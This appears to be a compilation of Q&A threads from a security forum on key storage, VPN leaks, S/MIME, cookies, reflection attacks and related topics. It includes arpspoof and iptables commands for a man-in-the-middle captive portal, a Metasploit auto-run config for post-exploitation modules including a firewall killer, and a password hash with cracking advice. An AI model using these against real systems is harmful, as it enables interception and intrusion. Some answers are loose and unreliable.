Storing private asymmetric key in application binary? I would like to give a daemon-style process (i.e. no user interaction) access to a shared secret key so that it can access a shared, encrypted data file. User applications accessing the same encrypted data store the shared secret key in the user's OS keychain (e.g. OS X Keychain or Gnome Keyring, etc.). The OS keychain, in turn protects the secret key with the user's login (or other user-specific) password.

Encryption here is used to protect data as it transits public networks between server and client. The data in question is raw data from scientific experiments. Mostly non-valuable (i.e. unlikely to draw an attacker to speculatively break the encryption and browse the data), but some of it is potentially very valuable and the users wish to keep its details private until they choose to share it publicly (i.e. protect it from casual observers on the network). The value of the data is hard to determine without scientific analysis, so watching users' activity (including queries) as they transit the wire unencrypted would provide some clues to observers about a datum's value.

The daemon-process is a query server for the system. It reads from the shared data, processes a query, and returns identifiers for a result set to the client who then pulls the identified data from the shared store.

We allow synchronization of the encrypted data to users' local workstations/laptops, so encryption of the data on disk is at most a nuisance to a determined attacker. We also allow users to run the query server locally (still started by init.d/launchd), so I want to do whatever I can to protect the secret key stored with the daemon. The major risk is that a determined malicious user is able to discover the secret key from the daemon on their system. Exposure of that key would require us to change the key, update all users' and then re-encrypt the database.

What is the best way to store the shared secret key for the daemon process? I can put the key on disk and encrypt the file on disk, but the daemon process must then have the key to decrypt that file. This seems equivalent to just having the shared secret key for the original encrypted data. My naive approach would be to store the key in the application's binary, but I can't imagine that's the best option. Any advice?

This quickly turns into a 'turtles all the way down' problem. You just have to decide at which point you stop encrypting things and rely on another method. I think the goal should be to stop casual users, but not determined hackers, to easily get at the protected data.

I wrestled with a similar method in a web application which needed to store the DB password and the SSL cert password. What I ended up doing was encrypting those passwords in a config file for the app using a different master password. The master password was stored as an environment variable set by the application startup script. Since the master password was set only in the startup script, it was easy enough to give a single user access to the script along with the ability to run it using standard UNIX file permissions.

My thinking was that to get access to this script otherwise, you needed to already be root, at which point, it doesn't really matter. If you can't trust root (or the server has been hacked) you probably have other issues.

Also, there's a little security through obscurity here in that all the details of how this works is not documented very well on purpose. You would have to backtrace how the startup script works, then figure out which algorithm is used, how the salt + plantext is formatted, etc. If you want to get the DB password and got this far, I figure you could probably already have just broken into the DB server directly.


Is there a security difference between remote desktop or VPN? Is there any difference in security between browsing the internet on a remote desktop and using a VPN to browse the internet on a local machine? In this case assume both use the same encryption techniques and VPN server and remote desktop sever are located at the same place.

The direction of attack of primary concern by those in the middle which can watch the encrypted data.

The security provided by Remote Desktop applications are often not top-notch, and can be broken with a little persistence.

VPN offers and additional level of security, as data traveling to the private network is encrypted before it hits the Internet, and decrypted once it reaches the private network. This additional level of security may be a plus for most, but this type of connection suffers from slower speeds than a non-encrypted method.


Building a malicious captive portal So I'm trying to build a malicious captive portal but I'm stuck on the part where you need to know stuff.

Anytime a HTTP request comes in, everything works fine. However, when an HTTPS connection comes in, it refuses to accept my certificate. My phone wont even let me accept it.

So far what I have is the following.

Iptables rule that forwards all incoming traffic to my local webserver on ports 80 and 443

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.11.29:80
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.11.29:443

SSL Configured for apache with a self signed cert (this was tested and works)
ARP Spoofing my target (Which is my cell phone at the moment)

arpspoof -I wlan0 -t 192.168.11.1 -r 192.168.11.15
arpspoof -I wlan0 -t 192.168.11.15 -r 192.168.11.1

What the expected result is:

MITM the network via arp spoofing
Regardless what the connection type is, return a captive portal
Allow traffic to flow freely after the person "logs in"

DISCLAIMERS:

This isn't for a class
Yes I own all the machines
I'm not intending on breaking any laws

However, when an HTTPS connection comes in, it refuses to accept my certificate.

That's expected. You are trying to man in the middle a TLS connection with a certificate which is either not issued by a CA trusted by the client or where the subject of the certificate does not match the hostname of the target URL. That's exactly the kind of attacks certificate based authentication in TLS is designed to prevent.

  My phone wont even let me accept it.

That's likely because you are trying to visit a site with HSTS enabled (i.e. google, Facebook...)

  What the expected result is: ... Regardless what the connection type is, return a captive portal

TLS is explicitly designed to prevent any kind of untrusted man in the middle, which means that captive portals trying to use an untrusted certificate (they usually don't have something else) will not work. You either make the clients explicitly trust the captive portal by importing the intercepting CA into the trust store. Or you must rely on the captive portal detection built into  several browsers and OS. This detection basically works by accessing specific URL via plain HTTP and check if the results matches the expectations - if not a captive portal is assumed.

See How Legitimate Wifi Hotspots redirect https requests and similar questions on this site for more details.


is the evil twin attack considered sniffing? Is the evil twin attack included in the sniffing category ?

I am really confused and i can't tell if it is.

The act of setting up an evil twin is not sniffing, but the generally accepted definition (CISSP) is that the purpose of the evil twin attack is to harvest credentials, etc.

It might also be argued that the evil twin attack is not strictly a sniffing attack if the attacker only uses it to DoS the people on the network.


Do normal SMS risks apply to DigiCel mobile banking? What mitigations are likely in place? In this interview with Bill Gates and Bill Clinton, they discuss their work with Digicel, who I assume is this company, to enable mobile banking with normal KYC protections.

This site is full of exploits for SMS phones, and so I can't conceive of it being secure enough to handle banking transactions... yet it seems to be working with a number of people.

How can SMS banking possibly be used for finance when there are so many security issues with the technology?

Am I simply overestimating an adversary's competence and power?
Or am I overlooking mitigations that would put the odds on my side?

I read both articles and didn't see SMS banking mentioned anywhere. NFC, Mobile Internet, etc... not sms. So I did a bit more digging and found items such as: SMS Banking - Top Up via SMS which do discus sms and digicel.

Lets be clear, sms is not in any way, shape or form secure.

But from the articles I've found thus far, you can't do very much through sms. Most possibilities include checking balances and mundane things like that. The only possible transaction I've found is the ability to add money to a TopUp account from an already setup/linked Visa/Mastercard/etc. So yes, one could move money from one account you have to another account you have through sms. Not much of an attack vector. You'd have to compromise the TopUp acct/card/phone as well, so if you had your wallet/purse/phone stolen you'd be at a high risk. But one is normally at a high risk when these items are stolen.


Is there anything else than DNS leaks that I should be aware of while using VPN? Is there anything else than DNS-leaks that I should be aware of while using VPN that could potentially leak my real IP address?

Assuming you are concerned about privacy and also assuming you are talking about client web traffic you may also want to consider other ways in which your location or identity may be leaking out.

Some of which include:

IPv6 traffic not forwarded through the VPN which may provide geolocation
Cookies from primary website
Third-party Cookies
Cookie-like identifiers stored in things like Flash
HTML5 Geolocation within the http/https traffic
correlation of your web use pattern
correlation of your use of language
correlation of unique browser identity objects especially as they may relate to browser plug-ins
Anything unique to you that may help correlate your actions back to you
etc....

Other protocols will have additional issues.

Think of a VPN as a single security control which provides you with a very specific type of protection from one single vector of attack. It doesn't protect you from all of the other vectors of attack.

That said, ultimately the answer to your question is yes there are many other things to consider in respect to privacy when using a VPN.


Private keys with or without password for webservices? What is the industry standard on this matter? How do you handle the keys for your websites, apis, micro-services, etc.
If I create private keys without password they will be 100% compromised if one has access to them.
On the other hand if I use a password they won't be compromised if one has the key without the password, but at the end of the day I will need to write the password on the apache config so if one has access to the webserver can both get the key and read the conf and steal the password (so I kind of don't see the point).
If the consensus is to use passwords, do you use the same password for all keys (imagine you have hundreds of webservices), or do you use a new password for each key?
Thanks!

From my point of view you should not have the private key with password on this scenario, because your microservice will need to know the password in some way.
In general and from my experience the private keys of microservices are stored in other backends dedicated to this, for example with LDAP. So your microservice that is authorized to the backend that stores the private key, can transfer safely the private key to the memory of your microservice directly. Of course this depends on the setup that you have and how the services interact with each others.


How to programatically verify a file signature? I have a dll file signed with my private key, here is the signature info in Windows Explorer:

Now, using the public key found in the certificate, how can I verify the integrity of the file?

I am shipping the exe to the client and need the exe to verify its own signature at startup. Which c++ API or Windows default commands can I use to implement this?

With all due respect, you are trying to reinvent the wheel for something that you don't understand very well. You are trying to hand-roll your own RSA signature verification code so that your app can verify its own signature at startup.

This is a solved problem through the Windows Code Signing system. What you should do is buy a proper code signing certificate so that Windows automatically verifies the signature on your app every time it is run:

Crypto is very tricky and hard to get right, so I highly advise you to use the built-in Windows mechanisms rather than trying to do this from scratch.


Virtual Desktop & Virtual Machine What is the difference between virtual machine and virtual desktop?

KOMODO Internet Security, for example, offers virtual desktop, and there's a stealth program there.

If software sends the same identifier, hostname, tracking cookie or similar does VM or VD prevent the leaks?

A virtual machine is an operating system installed on a virtualization software such as VirtualBox and VMware Player. It emulates the existing hardware of the host machine on which it runs. This means a software running on a virtual machine will "think" it is running on a "normal" computer resources. You can do on it all what you do on a usual computer with a running computer system. It is used for testing applications, emulating networks and even testing applications for the presence of malware as SpyProxy is functionning.
COMODO and other virtual desktops are a typical cases of a virtual machine. For example, if you run a browser on a virtual desktop, you won't have any cookies saved unlike it on a virtual machine. However, it is more intended to browse the internet against web malware attacks.
While they are both virtualization concepts (a computer inside a computer), a virtual desktop runs only ONE virtual machine, whereas you can install and run several virtual machines on a virtualization system such as VirtualBox.


Reason for lack of asymmetric cryptography in AWS KMS for regions in China In the documentation of the AWS Key Management Service (KMS) I found this interesting sentence:

  Asymmetric CMKs and asymmetric data key pairs are supported in all AWS Regions that AWS KMS supports except for China (Beijing) and China (Ningxia).

There are a total of three AWS regions in China: The two mentioned above, plus one in Hong Kong.

Does somebody know the reason for this restriction? Is it for legal purposes?

Asymmetric encryption was only introduced to AWS KMS in 2019. Prior to that, only symmetric encryption was available regardless of which region you were using. Even when AWS made the official announcement for asymmetric keys on KMS, many regions did not get the functionality on day 1.

Also, the two regions in China are somewhat special, in that they're operated by local companies:

  The service operator and provider for AWS China (Beijing) Region based out of Beijing and adjacent areas is Beijing Sinnet Technology Co., Ltd. (Sinnet). And the service operator and provider for AWS (Ningxia) Region based out of Ningxia is Ningxia Western Cloud Data Technology Co., Ltd. (NWCD).

While I'm not sure of the exact reason, it might be legal (might not!), but there's a lot of services within AWS that aren't fully available in all regions, and this is common even for 'core' AWS regions. It could simply be that feature hasn't been rolled out yet in China -- or it's just the technical complexity of rolling out the feature makes it difficult for companies other than AWS to onboard quickly.


Metasploit automatic module execution on receival of shell? After reading through a couple of webpages referring to metasploit I stumbled upon a post referring to the auto execution of metasploit modules upon the receiving of a shell. Namely the post exploitation module, smart-migrate.

Is there anyway that I could change any config files so that this happens?

Thanks for all your help!!!

The handler has an AutoRunScript option which specifies what happens when a session is received. You can give it the multi_console_command script which will be able to execute multiple post modules and meterpreter scripts upon receiving session.

For example, in order to run the smart_migrate and killfw post modules:

msf > use exploit/multi/handler
msf (handler) > set AutoRunScript multi_console_command -rc /root/mycommands.rb

The contents of /root/mycommands.rb include:

root@kali# cat /root/mycommands.rb
run post/windows/manage/smart_migrate
run post/windows/manage/killfw


Extra EKUs set in client certificate a security risk? I have implemented a 2-tier Windows AD CS PKI. For 802.1x I'm using autoenroll to distribute computer certificates automatically to any domain joined computer.

Currently I use a single computer template for all computers, both servers and workstation. This template includes client authentication, server authentication and remote desktop authentication EKUs.

For workstations, client authentication is all that's required, but is having the extra EKUs set in the certificate a security issue?

(By default there are no groups seperating servers from workstations, so you cannot assign different autoenroll certificate templates to servers and workstations. It's possible to ceate a server group and add servers to this group, but this adds an extra manual action.)

It depends on your security policy. If your policy requires a separate certificate for each application/service, then it is bad. If your security policy allows single certificate use for multiple applications/services (where applicable), it is ok.

There is no universal approach, each has its own advantages and disadvantages. For example, when requiring separate certificate for each application, you increase administrative efforts (since you have to maintain multiple certificates), but reduce couplings. A failure in single certificate will affect only single service, other services are not affected.

When you reuse single certificate in multiple applications, you reduce administrative efforts (as only single certificate per device must be maintained). On the other hand, a failure in certificate will affect all applications the certificate is associated with.


Advice to help crack MD5crypt hash I've been given a homework task to crack a particularly difficult password on a Unix system.

I have found users and hashes in the etc/shadow file and cracked all but this one:

$1$TyPfW4pp$Mp7O4bzX8bmWsGGV8ZrVY0

I've been told that this should be able to be cracked using Hashcat, and I should only need to use the rockyou wordlist.

I have tried the rockyou wordlist (which worked for the other hashes), other dictionaries, masks adding various characters and numbers either side and toggle attacks.

I've been advised that I shouldn't need to brute force this password.

Does anyone have any advice on what may help to crack this? I'm new to using Hashcat and cracking in general, so any advice will be welcomed and probably educational for me.

It sounds like you might need to tap one of the other major feature sets of hashcat: rules. Rules are ways to express common transformations that people make against base words to "complexify" them (changing case, reversing them, leet-ifying them, etc.).

To try a rules-based attack, see the ./rules/ subdirectory, and apply one or more rulesets using attack mode 0 (-a 0) and the -r flag.

The hashcat wiki also has a primer on rule-based attacks.


What's a trustworthy S/MIME Certificate Provider that generates my private key in my browser? I read this question on the process of generating a private S/Mime key. I looked at Comodo - which offer free e-mail certificates. I'm trying to find out whether Comodo generates the private encryption key on their servers or whether it was generated locally.

The Mozilla-FAQ reads as follows:

  To obtain certificate from an authority: Browsers such as Firefox,
  MSIE, Opera, Safari and so forth contain cryptotools capable of
  generating public/private keypairs. When signing up for a certificate
  with an authority, their website triggers your browser to create a
  keypair and transmit to them the public key, which is then certified.
  For this reason, when you return to pick up your completed certificate
  (typically a few minutes later), it is mandatory that you do so with
  the same browser on the same computer . You will otherwise not possess
  the private key necessary for pickup.

I just requested my certificate in Safari and picked it up in Chrome - and it worked (the private key is in my keychain).

The wording in all the comodo e-mail and FAQs is a bit opaque (or I haven't found the right spot yet):

  "Simply click on the button below to collect your certificate."

Is this process always done locally, or is there some way to confirm that the private key generation was done locally?

And besides that:

1. Would you know a provider besides Comodo (who have a bit of a bad security track record) to provide free S/MIME certification that is universally root-trusted?

2. Would you know one that costs some money with a better record/documentation/where you know how the key is generated?

Thanks a lot!

If you go to Comodo's page for the free S/MIME certificate, you may have a look at the "Subscriber agreement" which includes, in section 3.1, the following:

  The Subscriber's web browser will automatically generate a Private Key/Public Key pair during the signing up process.

So it seems that the process involves a locally generated key pair, as it should.

Trying out the process, I see the following:

A window from my browser briefly appears, talking about key pair generation.
An email is sent, saying that I may "collect" the certificate at a specific Web URL, with the collection password (included in the email). The email includes the sentence: "NOTE: We strongly recommend that you export your certificate to a safe place in case you need to reload it later."
If I try to collect the certificate with a different browser, that browser complains about the lack of a corresponding private key.
If I inspect the HTML source code of the collection page, I see a piece of JavaScript which includes a Base64-encoded PKCS#7 object (aka CMS), which includes my certificate but no private key (there is no standard for putting a private key in a PKCS#7 object).

So I can confidently claim that the private key was generated in my browser, not on Comodo's servers. The cross-browser test is the most definite here: if the private key was generated server-side, it would have worked. But all the other elements strongly hint at the same conclusion.


Cheapest and tiniest acoustic isolation for smartphone? What is the cheapest/convenient way to isolate a mobile phone from recording with microphone?

My constraints:

The cellphone has to stay in the room, I can't put it outside
Maximum 100$ solution
Must not take more than 30 seconds to put in and out of the container
Three cellphones have to fit in
Tiniest as possible
Can't dismantle the device

I've thought about putting the telephone in a container full of sand, sand is use in South America by narcotic gangs to acoustic proof a room occupied by a prisoner. But it sounds inconvenient to put the phone in a plastic bag to protect it from the sand and dig a bit each time you want to isolate it.

UPDATE:
Some ways to solve this problem:

Interference: Generating white noise through an application run by a phone in the box can work. The problem is that white noise can be removed quite easily. What might work is generating random noises inside the container.
Saturation: There's probably a sound level for the microphone that makes any sound recovery impossible, saturating the input.

For both of those techniques, a closed box is needed (at least to prevent sound recording in the room).

As well as using a source of noise for drowning out the sound of talking in the room you should also use an insulated box. The insulation partially blocks the noise of the talking getting to the phone, and partially blocks the annoying white noise of your device.

Maybe open the walls of the cooler and fill the insulating cavities with sand, if you never need to move it or explain to anyone what it is.


What's the difference between using duckduckgo with !google bangs and using google directly? Is there any security advantage in searching on duckduckgo using !google? Or is it effectively the same as searching directly on google?

There's no difference: DuckDuckGo doesn't offer any privacy protection when redirecting the search to another result page with a !bang. E.g. !google foo (https://duckduckgo.com/?q=!google+foo) just redirects to https://google.com/search?hl=en&q=foo using both

meta refresh

<meta http-equiv='refresh' content='0; url=https://google.com/search?hl=en&q=foo'>

and JavaScript

<script language='JavaScript'>
    function ffredirect(){
        window.location.replace('https://google.com/search?hl=en&q=foo');
    }
    setTimeout('ffredirect()',100);
</script>

...but not with an actual HTTP redirect, probably in order to hide itself as the referrer:

<meta name='referrer' content='never'>

On the other hand, it prevents Google from getting direct information on the keystrokes and typos through Ajax queries:


Verifying that a user is from a certain country I'm helping a small non-profit with their website and we are going to have a login and membership system where we need to verify that a user is from a certain country. How can this be done? (We are going to use Drupal 7 or possibly WordPress if there is a better solution there)

What we have been thinking about so far is using SMS verification when signing up and then checking the country code, but it would need to be cost-free since otherwise a lot of money could be lost for the organization if the verification is done automatically

There's also IP-based verification but this wouldn't help if traffic was bounced

Thoughts, ideas, other suggestions?

I don't think that you are going to find a free and effective way to do this that doesn't expose your users to privacy issues.

For instance, I just moved to a new country. I have a phone, drivers licenses, accounts, and IDs in both countries. I sign up for services limited to residents of these countries. There is no way for any of these services to know for sure where I really am.

One way to increase the assurance is to get copies of your users' national documents: birth certificates, national ID cards. But then you will have to deal with the fact that you have these sensitive documents and the privacy issues they expose.

At best, you will be able to determine that someone was able to sign up for services in a particular country, and that's it. You will have to decide if that's enough for your organisation.


Is it a vulnerability if an application cookies carry sensitive information? I am assessing a small e-commerce web application. I have found that the application passes the order details, the cost, the order ID etc as a part of the cookie. Tampering with it does not affect the operations.

However I wanted to know if this is a safe practice to follow? Does it posses any threat? Also, is there any resource which gives guidelines for security best practices for e-commerce applications so that I can reference the same to my client?

Putting actual information into cookies, as opposed to just storing a session ID and keeping the rest of the information server side can (but does not have to) be problematic. There are two pitfalls you want to avoid:

Trusting information in the cookie without server side validation, e.g. accepting a total price of $0.01 just because the cookie says so.
Storing sensitive information in the cookies, e.g. passwords or credit card numbers.

However, there are legitimate reasons to store things in cookies. I could imagine it could be useful when implementing a shoping cart and you want to persist the content over page loads without troubeling the server.

So to know if there is a vulnerability here you need to carefully pen test the application (just like you have already done). Try changing the price. Try to order an item that you should not be able to order. Try providing random rubbage. Try to fake discounts you should not get. Try to order non existant items to get the free shipping you only get when ordering more than five items. Try starting two orders in different browsers and see if you can hijack one of them by changing the order ID of the other. Etc, etc, etc.

Some apps that rely on cookies to keep a state will populate a form client side with the data from the cookie, and then that form is sent to the server when the order is submitted so the server will never bother with the cookie. If that is the case here, you should probably focus your pen testing on the form instead of the cookie.

To write safe code, you will need to treat cookie values with the same scepticism you treat any user input even though it was you who set the values. So you will need to validate, do authorization, calculate the correct price and so on server side.

So to summarize, the answer is a firm "it depends".


how does a reflection attack work? I am trying to understand reflection attacks but unfortunately wikipedia is too vague. I understand that in such an attack the attacker tries to authenticate with the target but does so in such a way that the target authentication system's challenge is sent to a spoofed client (instead of to the attacker). I also understand that this can somehow cause a loop or DOS. But I'm missing the details. Can someone explain how this works?

So these are two quite different things, the first is a classification of protocol exploit, the second is a method sometimes employed by DDoSsers. I give examples of both.

Authentication Reflection

The classic example used to explain the concept of a reflection attack is the MIG in the middle.

How it should work

A military decides to implement a system that allows them to tell immediately if an aircraft on their radar is a good guy or a bad guy (referred to as Identify Friend from Foe (IFF) systems).

The system they implement goes something like;

1: Alice > Bob:   n              <-- challenge
2: Bob > Alice:   E(K, n)        <-- response

Where n is a unique random nonce, K is a pre-shared key, and E is a suitable encryption/derivation function.

Since only friendly aircraft know the value of the secret key K, only friendly aircraft can calculate the correct response to a given nonce n. If Bob fails to generate and send the correct response within a few seconds, Alice promptly shoots him down.

Otherwise, Alice knows that Bob must have known the value of K in order to generate the response he sent, and that Bob must therefore be on the same team.

This process can be repeated in reverse so that Alice and Bob are mutually authenticated.

This system as it stands is completely broken, but lets first focus on the reflection attack you asked about.

The Reflection Attack

An enemy aircraft can defeat the system by reflecting the challenge back to some other member of the good guys team.

1: Alice > Bob:     n
2: Bob > Charlie:   n           <-- reflection attack
3: Charlie > Bob:   E(K, n)     <-- bob receives the correct response to Alice's challenge
4: Bob > Alice:     E(K, n)     <-- and authenticates himself to Alice

At the 4th interaction, Bob has authenticated himself to Alice who lets him fly past peacefully. Bob did this without knowledge of K, simply by sending the same challenge to someone else, hence the name reflection. Bob reflected the challenge to Charlie, who is on Alice's team and therefore knows the value of K and can generate the correct response. Charlie answers Bob's IFF challenge as he normally would, giving Bob the correct response to the original challenge.

Other Attacks

Replay: If the values of n are taken from a small enough space, they will start to be repeated. If Bob keeps track of every challenge n and response E(K,n) pair that he hears, he will eventually be able to build a dictionary of correct responses without ever needing to know the secret key K. He can then start replaying previous responses when he receives a challenge that has an entry in his dictionary.

Brute Force: Bob will probably be aware of the derivation function E. If he knows a n, E(K,n) pair, he can try different values of J until E(K,n) == E(J,n) which implies that J == K and he has brute forced the secret key K.

DDoS Reflection

A basic Denial of Service attack is essentially a traffic flood, designed to exhaust bandwidth, memory or other resources at the target machine.

The idea is that the attacker is in control of a significantly larger amount of bandwidth than the victim, and so can easily overwhelm the victim.

1. Attacker > Victim: x

If x is of sufficient magnitude, then the victim cannot handle it (one of many resources gets exhausted) and the victim goes offline.

The attacker can make life easier by using a technique referred to as traffic amplification by reflecting his traffic from one or more third-party machines.

It looks something like;

1. Attacker > ThirdParty: x
2. ThirdParty > Victim: y

The attacker sends a message x to a third party, while spoofing the source IP of the victim. When the third party replies to the message x, the reply is sent to the victim.

If the magnitude of of the reply y is greater than the magnitude of the message x, then the attacker has multiplied his DoS potential.

I use the term 'magnitude' here to indicate that it can be anything: number of connections, data bandwidth, packet frequency etc. The point is if y is harder to process than x, then the attacker has increased his potency by the ratio of magnitudes of y to x.

If the attacker can use a large number of third parties simultaneously, such that the attacker's bandwidth is fully consumed, then he has truly multiplied his attack potency.


Why does curl/wget in the ebay search box give me an access denied error? I just accidentally copypasted a wget command into the ebay search box and got the following error:

It happens with wget http://google.com or curl http://google.com, or any other URL...

It does seem to sanitise the input and remove slashes if you just enter a URL but not if you precede it with wget or curl. What could they possibly be doing which causes a wget or curl command to bypass their sanitization and produce a different result?

I assume that ebay.com installed a Web Application Firewall, which recognizes your request as a possible attack. Therefore, your request is cancelled and you receive a HTTP 403 - Access Denied. The mod_security WAF for Apache, nginx and IIS behaves similar: If it is in prevention mode, it will also respond with HTTP 403 by default [1].

Most WAFs have some kind of a rule set. They check whether your request matches one of their rules, maybe with regular expressions. I assume further that one of those rules looks like (wget|curl) (http|https)://.* [2]. The "sanitizing" of double forward slashes in your url happens most likely on the application level. Strings like asdf// will also be shortened to asdf.

[1] https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#secdefaultaction

[2] Skipped escaping of forward slashes for the sake of readability


Insider threats for Private Clouds Any one has any information or pointers to insider threats when cloud platforms like openstack etc deployed within corporate data centers ?

What are different kinds of internal threats in general for
traditional corporate datacenters  ( I.e when physical resources not
shared across departments, partner employees  etc )
What new   attack vectors open up when the resources are virtualized and shared
within    the corporate data centers ?
Are there any other   security and privacy concerns specific to private cloud deployment  apart from the ones which public cloud deployments like Amazon EC2  has ?

In response to only (2) above: if a private cloud is actually allocating computing resources on demand to users with certain passwords/keys (like AWS) -- it is then over and beyond plain virtualization in the enterprise and risks additional to simple virtualization need to be mitigated.

If private cloud resources are allocated/deallocated and managed by the DC ops team, then it is no different to plain virtualization from a security perspective.

A couple of mitigation steps we took at a retailer that implemented something in between the two scenarios described above:

Managing provisioning passwords and/or keys, with information to users how significant they were and how to protect them.  This is especially important for pivate clouds, which are generally in a trustful internal environment.
Immediate emails on allocation/de-allocation of resources, and frequent chargeback reports to multiple stakeholders in departments allocating resources.


How dangerous are direct references to database keys? An OWASP note suggests that direct object references are considered insecure in some contexts. They defined "direct object reference" as follows:

  “A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter.”

Someone suggests a solution to this problem:

  An object reference map is first populated with a list of authorized values which are temporarily stored in the session. When the user requests a field (ex: color=654321), the application does a lookup in this map from the session to determine the appropriate column name. If the value does not exist in this limited map, the user is not authorized. Reference maps should not be global (i.e. include every possible value), they are temporary maps/dictionaries that are only ever populated with authorized values.

However, somebody else argues on the Wiki that DOR’s are really insecure only for files, directories. That person adds:

  There is no way to practically DOR all database primary keys in a real enterprise or post-enterprise system.

My question is, how insecure are direct object references to database primary keys? Can you provide concrete examples of vulnerabilities? How often do people go to extraordinary lengths (as suggested by the first person) to mask ALL database keys?

The issue is not as much direct object references as it is insecure direct object references. For example, let's say you have a script that displays a private message, and that script takes an ID as a parameter. If you view the list for your user, you'll see links to the messages you have access to. But if you can change that ID in the parameter, and use that to view arbitrary other messages, then that constitutes an insecure direct object reference.

Some people feel that creating a mechanism that maps user-specific IDs across to objects is safer, because it inherently requires you to consider access control.

Hiding database keys isn't exactly required, but it does make life more difficult if an attacker is trying to reference internal IDs in an attack. Direct references to file names and other such internal identifiers can allow attackers to map the internal structure of the server, which might be useful in other attacks. This also invites path injection and directory traversal problems.


Reasonable security measures for unvalidated "login" Sorry, kind of a long question. I am hoping that someone smarter about InfoSec than I am will read what I'm doing and give me guidance...

Background

My website allows psychiatrists to track their patient's mental health status. It does this by sending a periodic email to a patient, with a link back to a page on the website that asks the patient to rate various aspects of their mental health (for an example of the types of questions asked, Google "PHQ-9").

The link in the email includes two URL arguments:

The primary key of a record in the database that identifies both the patient and the doctor
A random number that must match data that was generated and stored in the Patient record in the database when the email was sent.

Note that the database also contains an expiration date for the most recent email, so the "random number" is only valid for a limited period of time.

Anyone who gets their hands on one of these emails can easily impersonate a patient on our platform by visiting the URL with valid arguments.

Now, a few things are important to note:

The user does NOT need to provide credentials in order to access the page. Anyone who navigates to the page, with valid URL arguments, is presented with the questionnaire. My assumption is that, if someone impersonates a user, the doctor will discover that soon enough when the patient visits the doctor and the questionnaire answers are bogus. Ultimately, the doctor-patient relationship depends on verbal, face-to-face communication. The questionnaire is just additional data the doctor can choose to use or ignore.
Accessing the page does NOT leak patient data. It's a one-way trip from the (presumed) patient's fingers into the website database. The questionnaire does not display any personally identifiable information.

In case someone asks WHY I don't ask for patient credentials, the answer is simple: I want the experience to be as frictionless as possible. I don't want patients to be required to "register" with the website and remember login credentials. The website periodically sends an email to a patient with a link to take an evaluation. The patient clicks the link, and the evaluation appears in a browser window. Done deal. If I require a login exercise then a significant number of patients will simply give up, or forget their password, or whatever.

My question

Is there any obvious security-related flaw with this scheme (other than the risks I've already talked about)? I assume that there are several attack vectors:

Someone might break into a patient's email account. In this case, that person can impersonate the patient, and I have no defense against this. But the worst that can happen is that the bad actor might supply bogus answers to the mental health questionnaires.
Someone might intercept my email on its way to the patient's inbox (e.g. a man-in-the-middle). In this case, the "expiration" feature limits the time frame that the bad actor has to impersonate the patient. This at least prevents someone from using that data after the expiration period has elapsed.
Someone might attempt a brute-force attack by supplying a known valid primary key (discovered from an old email or simply guessed correctly - any reasonably low number is likely to be valid), plus a value for the 32-bit random number. I'm not too worried about this attack.

You've hit the main threats, but there's a few that you've missed.

You're leaking information about how many patients you have. It sounds like you're using sequential values for your Patients table's primary key, so exposing that key will tell a patient how many patients you've had before them, and two patients who first visited at different times will be able to determine about how often you add patients. While perhaps not something you care deeply about, there's no need to leak this info.
You mention that the links expire, which is good, but it sounds like you're not automatically expiring them upon use. I recommend that, as soon as the patient submits their information, the link can no longer be used. This is especially important if it would otherwise be possible to view a patient's past answers using the same link.
You don't mention how the random numbers - which are essentially authentication tokens - are generated. If it's using the standard random number generators common to all major programming languages, then a malicious user can probably guess them correctly. The normal RNG functions are typically seeded from the current time (which narrows the space of values to search quite dramatically, even if the attacker doesn't know to the second when the value was created), and also can usually be predicted based on other numbers from the sequence (so one or more patients, whose own numbers are known, could predict the numbers of other patients forward and backward of themself/ves).
32 bits - even if they are generated using a secure random number generator and thus unpredictable - is shorter than ideal. Realistically, nobody is going to try the ~2 billion requests it would take to guess one by brute-force, given the low sensitivity of the site, but it's not actually impossible to send requests at a rate fast enough to make that feasible (your server is the only bottleneck; an attacker with even the short use a botnet can generate billions of requests, though usually this just knocks the server offline).

Now, none of these are high-severity risks, especially since there really isn't that much at stake. Still, you asked for advice, so... Given all of that, here are some recommendations:

Remove the plaintext primary key from the URLs. Either just use the "random number" (token) to identify patients, or pass the primary key through a HMAC (with a key that is not exposed to the patients) so they cannot tell what their number is (or make a meaningful guess at anybody else's valid number). You can create a database index on the token to ensure you're still able to quickly look up patients using it.
Lengthen the token to at least 64 bits - 128 is the usual - and use a cryptographically-secure [pseudo-]random number generator to create it. A type 4 GUID/UUID works, if you have a handy tool to emit them (note that not all types of UUIDs are suitable here; it's not actually what the data type is for).
After the patient submits their survey answers, invalidate their token (you could remove it entirely, or just use the expiry field to mark it as no longer valid). Don't invalidate URLs that are visited but the survey isn't submitted (until they expire); some email programs proactively send requests to URLs found in the email, to check them for malicious responses. Do continue to expire the tokens the way you currently do, for surveys that are never taken.

Additionally, just to be clear, you need to generate a new token for each email, rather than just reusing them for repeat patients. It sounds like you're already doing this but I wanted to be explicit about it.

Overall, good stab at a threat model and some mitigations.


Why: Default salt and cipher seed value at Cake PHP Framework? I am wondering, why in cake php framework, they include default values for this variable:

salt
cipher seed

I found these default values while doing application review (white box approach). And I found out that the developer didn't modify these values.

CMIIW, if the developers didn't modify these values, it is more prone to brute force attack by providing these default value.

This definitely looks like a very bad practice.

A quick search on github brings up ~11,000 projects where the same default cakephp salt has been used.
Cakephp shows a notice when the value haven't been changed:

Please change the value of 'Security.salt' in app/config/core.php to a
salt value specific to your application [CORE/cake/libs/debugger.php, line 848]

So one potential reason for having a default salt and seed is the ability to detect if the user is using the default, unchanged and insecure salt and be able to helpfully instruct him to change it.

Refer this function where it makes sure you are not using the default values. Unlike other frameworks like Rails where the secret_token is generated on the fly when you create a new rails project, cakephp basically has a unzip and start using it approach where generating a salt on the fly is not easy.

However, the same code that checks that the values are not default can also potentially create a random salt and replace the values in the conf files when it sees default values being used. This would happen only once - ideally the first time ever a cakephp app is run - and then the values are changed forever.

Also when default values are used, it should be raise an Error (instead of a subtle notice which can be ignored) which won't let you deploy/run cakephp unless you change these values.

Obviously the advantages of seed and salt are lost if everyone uses the same known values. Hopefully someone from the cakephp team shares your concern and changes this default behavior.


Is phone-based authentication more secure than passwords? Let's say I ask my user to provide email, first and last name, last 4 of ssn, date of birth, and a phone number. On login, I send a 4 digit pin as a text.

